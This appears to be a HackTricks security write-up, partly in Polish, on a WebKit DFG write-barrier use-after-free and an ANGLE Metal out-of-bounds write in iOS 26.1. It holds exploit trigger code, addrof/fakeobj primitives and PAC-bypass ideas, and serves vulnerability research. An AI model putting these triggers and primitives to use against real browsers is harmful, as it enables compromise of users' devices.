WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podsumowanie
- DFG Store Barrier bug (CVE-2025-43529): W
DFGStoreBarrierInsertionPhase.cppPhi node marked escaped while its Upsilon inputs are not powoduje, że faza skip inserting a write barrier przy kolejnych zapisach obiektów. Pod presją GC pozwala to JSC zwolnić wciąż osiągalne obiekty → use-after-free. - Exploit target: Zmusić obiekt Date do zmaterializowania butterfly (np.
a[0] = 1.1), tak aby butterfly został zwolniony, a następnie odzyskany jako array element storage w celu wywołania boxed/unboxed confusion → prymitywyaddrof/fakeobj. - ANGLE Metal PBO bug (CVE-2025-14174): Backend Metal alokuje PBO staging buffer używając
UNPACK_IMAGE_HEIGHTzamiast rzeczywistej wysokości tekstury. Podanie małej wartości unpack height, a następnie wywołanie dużegotexImage2Dpowoduje staging-buffer OOB write (~240KB w PoC poniżej). - PAC blockers on arm64e (iOS 26.1): TypedArray
m_vectori JSArraybutterflysą PAC-signed; sfałszowanie fake objects z wskaźnikami wybranymi przez atakującego powoduje awarię zEXC_BAD_ACCESS/EXC_ARM_PAC. Tylko ponowne użycie already-signed butterflies (boxed/unboxed reinterpretation) działa.
Wywołanie brakującego DFG barrier → UAF
function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A; // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly
// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));
const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped
A.p1 = f; // Missing barrier state set up
for (let i = 0; i < 1e6; ++i) {} // GC race window
b.p1 = a; // Store without barrier → frees `a`/butterfly
}
Key points:
- Umieść A w old space, aby wymusić działanie generational barriers.
- Utwórz indeksowany Date, tak aby butterfly był zwolnionym celem.
- Spray
ArrayBuffer(0x800000)aby wymusić GC i poszerzyć race. - Niedopasowanie Phi/Upsilon escape zatrzymuje wstawianie barrier;
b.p1 = awykonuje się without a write barrier, więc GC reclaimsa/butterfly.
Odzyskanie butterfly → boxed/unboxed confusion
Po tym, jak GC zwolni Date butterfly, spray arrays tak, aby zwolniona slab została ponownie użyta jako elementy dla dwóch arrays o różnych element kinds:
boxed_arr[0] = obj; // store as boxed pointer
const addr = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr); // write pointer bits as float
const fake = boxed_arr[0]; // reinterpret as object → fakeobj
Stan na iOS 26.1 (arm64e):
- Działa:
addrof,fakeobj, 20+ address leaks per run, inline-slot read/write (dla znanych pól inline). - Jeszcze niestabilne: uogólnione
read64/write64wykorzystujące inline-slot backings.
Ograniczenia PAC na arm64e (why fake objects crash)
- TypedArray
m_vectori JSArraybutterflysą PAC-signed; sfałszowanie wskaźników powodujeEXC_BAD_ACCESS/ prawdopodobnieEXC_ARM_PAC. - The confusion primitive działa, ponieważ reuses legitimate signed butterflies; wprowadzenie unsigned attacker pointers powoduje niepowodzenie uwierzytelniania.
- Zanotowano potencjalne pomysły obejścia: JIT paths that skip auth, gadgets that sign attacker pointers, lub pivoting przez ANGLE OOB.
ANGLE Metal PBO under-allocation → OOB write
Użyj bardzo małej wartości unpack height, aby zmniejszyć staging buffer, a następnie załaduj dużą teksturę, tak aby kopiowanie przekroczyło granice:
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual = 256 * 256 * 4 = 256KB → ~240KB OOB
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
Notatki:
- Bug w
TextureMtl.cpp: staging buffer używaUNPACK_IMAGE_HEIGHTzamiast rzeczywistej wysokości tekstury na ścieżce PBO. - W sondzie referencyjnej wyzwalacz WebGL2 PBO jest skonfigurowany, ale jeszcze nie został niezawodnie zaobserwowany na iOS 26.1.
Referencje
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


